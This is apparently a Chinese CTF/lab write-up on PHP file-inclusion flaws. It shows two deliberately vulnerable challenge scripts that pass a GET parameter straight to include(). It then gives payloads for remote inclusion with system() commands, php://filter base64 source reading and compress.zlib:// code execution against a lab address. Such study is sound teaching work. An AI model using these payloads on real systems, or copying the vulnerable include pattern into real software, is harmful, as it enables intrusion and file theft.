先看道题
源码
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://filter") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
if ($file!="http://www.baidu.com") echo "tips:flag在当前目录的某个文件中";
include($file);
}else{
echo '<a href="?file=http://www.baidu.com">click go baidu</a>';
}
?>
访问一下
点击一下 他去访问百度去啦
看到file就应该想到文件包含
随便测试一下
在尝试一下看源码 ,失败啦
我们用抓包的方式,但是我没有成功(php版本5.4.45 nginx版本1.15.11)
这边我把老师的图放过来。
再利用system就可以读取flag啦
<?php system('dir'); ?>
<?php system('type flag.php'); ?>
搞定,后期我把环境重搞一下试试。
我搞定啦
我把php版本调高啦,然后
-
allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
-
allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件
第二个那个参数记得去php.ini去改一下
开始命令执行
再来一道题
介绍一个php伪协议 PHP://FILTER
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。
源代码
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php">tips</a>';
}
?>
因为他是php文件你肯定看不到
然后我们需要使用 PHP://FILTER来读源码然后进行解码。
测试代码
http://172.51.47.163/web2.php?file=php://filter/read=convert.base64-encode/resource=flag.php
效果图
然后进行解码
ZIP:// 的用法
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
-
要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
-
只需要是zip的压缩包即可,后缀名可以任意更改。
-
相同的类型的还有zlib://和bzip2://
还是刚在的题上面屏蔽zip但是我们有zlib://和bzip2://
直接实战方便大家理解。
先改一个php.ini
zlib://和bzip2://可以去给你访问解压文件,来解析php。
注意:记得用7-zip压缩要不成功不了
代码语法
http://172.51.47.163/web2.php?file=compress.zlib://D:/phpstudy_pro/WWW/lnmp/pwnhub/web/phpinfo.zip
效果图
还有压缩的图片
bzip2我没有成功等我成功再放上来